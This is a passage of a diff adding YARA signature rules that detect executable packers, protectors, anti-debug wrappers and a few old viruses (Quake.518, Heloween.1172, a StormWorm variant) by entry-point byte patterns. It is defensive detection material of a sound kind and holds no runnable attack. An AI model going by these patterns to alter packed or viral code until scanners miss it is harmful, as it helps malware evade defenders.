+		$0 = {60 E8 A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_v28_AntiDebug__Spirit_
+{
+	meta:
+		description = "FakeNinja v2.8 (Anti-Debug) -> Spirit"
+	strings:
+		$0 = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+	condition:
+		$0
+}
+rule _NX_PE_Packer_v10_
+{
+	meta:
+		description = "NX PE Packer v1.0"
+	strings:
+		$0 = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v1401_
+{
+	meta:
+		description = "EXECryptor v1.4.0.1"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v31__North_Star_
+{
+	meta:
+		description = "NsPack v3.1 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+		$1 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Thinstall_25xx__Jtit_
+{
+	meta:
+		description = "Thinstall 2.5xx -> Jtit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+		$1 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? 1A 00 00 B9 ?? 1A 00 00 BA ?? 1B 00 00 BE 00 10 00 00 BF ?? 53 00 00 BD ?? 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? ?? 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B F1 7C 04 3B F2 7C 02 89 2E 83 C6 04 3B F7 7C E3 58 50 68 00 00 40 00 68 80 5A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v25_Retail_Slim_Loader__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v035_alpha__Dwing_
+{
+	meta:
+		description = "Upack v0.35 alpha -> Dwing"
+	strings:
+		$0 = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+	condition:
+		$0
+}
+rule _CrackStop_v101_c_Stefan_Esser_1997_
+{
+	meta:
+		description = "CrackStop v1.01 (c) Stefan Esser 1997"
+	strings:
+		$0 = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_Stub_b__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub b -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_multi_layer_encryption__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [multi layer encryption] --> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+		$1 = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v184_
+{
+	meta:
+		description = "PECompact v1.84"
+	strings:
+		$0 = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13_
+{
+	meta:
+		description = "Petite 1.3"
+	strings:
+		$0 = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+	condition:
+		$0
+}
+rule _PC_Shrinker_v045_
+{
+	meta:
+		description = "PC Shrinker v0.45"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_096__tE_
+{
+	meta:
+		description = "tElock 0.96 -> tE!"
+	strings:
+		$0 = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1258__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.5.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v20__Markus_Laszlo__Reiser_
+{
+	meta:
+		description = "UPX v2.0 -> Markus, Laszlo & Reiser"
+	strings:
+		$0 = {55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB ?? FF 96 ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? 00 00 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80}
+	condition:
+		$0
+}
+rule _Obsidium_v1111_
+{
+	meta:
+		description = "Obsidium v1.1.1.1"
+	strings:
+		$0 = {EB 02 ?? ?? E8 E7 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Cygwin32_
+{
+	meta:
+		description = "Cygwin32"
+	strings:
+		$0 = {55 89 E5 83 EC 04 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_v006_by_fORGAT_
+{
+	meta:
+		description = "PEQuake v0.06 by fORGAT"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_PEBundle_02__3x__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PEBundle 0.2 - 3.x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v10_
+{
+	meta:
+		description = "EP v1.0"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+	condition:
+		$0 at entrypoint
+}
+rule _DCrypt_Private_09b__drmist_
+{
+	meta:
+		description = "DCrypt Private 0.9b -> drmist"
+	strings:
+		$0 = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiVirus_Vaccine_v103_
+{
+	meta:
+		description = "AntiVirus Vaccine v.1.03"
+	strings:
+		$0 = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v106_
+{
+	meta:
+		description = "Xtreme-Protector v1.06"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_
+{
+	meta:
+		description = "Wise Installer Stub"
+	strings:
+		$0 = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+		$1 = {55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20}
+		$2 = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _PEiDBundle_v102__v103__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.03 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v13045_
+{
+	meta:
+		description = "EXECryptor v1.3.0.45"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+		$1 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PolyBox_D__Anskya_
+{
+	meta:
+		description = "PolyBox D -> Anskya"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 53 33 C0 55 68 84 2C 40 00 64 FF 30 64 89 20 C6 45 FF 00 B8 B8 46 40 00 BA 24 00 00 00 E8 8C F3 FF FF 6A 24 BA B8 46 40 00 8B 0D B0 46 40 00 A1 94 46 40 00 E8 71 FB FF FF 84 C0 0F 84 6E 01 00 00 8B 1D D0 46 40 00 8B C3 83 C0 24 03 05 D8 46 40 00 3B 05 B4 46 40 00 0F 85 51 01 00 00 8D 45 F4 BA B8 46 40 00 B9 10 00 00 00 E8 A2 EC FF FF 8B 45 F4 BA 9C 2C 40 00 E8 F1 ED FF FF}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Gleam_100__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Gleam 1.00] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_111502006Beta__NEOx_
+{
+	meta:
+		description = "nPack 1.1.150.2006.Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Apex_30_alpha__500mhz_
+{
+	meta:
+		description = "Apex 3.0 alpha -> 500mhz"
+	strings:
+		$0 = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+	condition:
+		$0
+}
+rule _ASProtect_vxx_
+{
+	meta:
+		description = "ASProtect vx.x"
+	strings:
+		$0 = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v160__v165_
+{
+	meta:
+		description = "PECompact v1.60 - v1.65"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.29 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_REALBasic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [REALBasic] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (minimum protection)"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E9 ?? ?? ?? FF 50 C1 C8 18 89 05 ?? ?? ?? ?? C3 C1 C0 18 51 E9 ?? ?? ?? FF 84 C0 0F 84 6A F9 FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF E8 CF E9 FF FF B8 01 00 00 00 E9 ?? ?? ?? FF 2B D0 68 A0 36 80 D4 59 81 C9 64 98 FF 99 E9 ?? ?? ?? FF 84 C0 0F 84 8E EC FF FF E9 ?? ?? ?? FF C3 87 3C 24 5F 8B 00 03 45 FC 83 C0 18 E9 ?? ?? ?? FF 87 0C 24 59 B8 01 00 00 00 D3 E0 23 D0 E9 02 18 00 00 0F 8D DB 00 00 00 C1 E8 14 E9 CA 00 00 00 9D 87 0C 24 59 87 1C 24 68 AE 73 B9 96 E9 C5 10 00 00 0F 8A ?? ?? ?? ?? E9 ?? ?? ?? FF 81 FD F5 FF 8F 07 E9 4F 10 00 00 C3 E9 5E 12 00 00 87 3C 24 E9 ?? ?? ?? FF E8 ?? ?? ?? FF 83 3D ?? ?? ?? ?? 00 0F 85 ?? ?? ?? ?? 8D 55 EC B8 ?? ?? ?? ?? E9 ?? ?? ?? FF E8 A7 1A 00 00 E8 2A CB FF FF E9 ?? ?? ?? FF C3 E9 ?? ?? ?? FF 59 89 45 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v11x__Randy_Li_
+{
+	meta:
+		description = "Soft Defender v1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 ?? ?? ?? ?? ?? 74 1F 75 1D ?? 68 ?? ?? ?? 00 59 9C 50 74 0A 75 08 ?? 59 C2 04 00 ?? ?? ?? E8 F4 FF FF FF ?? ?? ?? 78 0F 79 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13__c1998_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.3 -> (c)1998 Ian Luck"
+	strings:
+		$0 = {9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_
+{
+	meta:
+		description = "[MSLRH]"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v11__SLV_
+{
+	meta:
+		description = "SLVc0deProtector v1.1 -> SLV"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C}
+		$1 = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Vx_Quake518_
+{
+	meta:
+		description = "Vx: Quake.518"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_Console_v10_v101_v102_
+{
+	meta:
+		description = "PE Crypt32 (Console v1.0, v1.01, v1.02)"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Pack_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Pack 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_V200V290__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V2.00-V2.90 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _VX_TibsZhelatin_StormWorm_variant_
+{
+	meta:
+		description = "VX: Tibs/Zhelatin StormWorm variant"
+	strings:
+		$0 = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v13_
+{
+	meta:
+		description = ".BJFnt v1.3"
+	strings:
+		$0 = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v168__v184_
+{
+	meta:
+		description = "PECompact v1.68 - v1.84"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PROPACK_v208_
+{
+	meta:
+		description = "PRO-PACK v2.08"
+	strings:
+		$0 = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Heloween1172_
+{
+	meta:
+		description = "Vx: Heloween.1172"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXScrambler_RC_v1x_
+{
+	meta:
+		description = "UPX-Scrambler RC v1.x"
+	strings:
+		$0 = {90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00}
+		$1 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _UPX_Modifier_v01x_
+{
+	meta:
+		description = "UPX Modifier v0.1x"
+	strings:
+		$0 = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_500__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.00 -> Silicon Realms Toolworks"
+	strings:
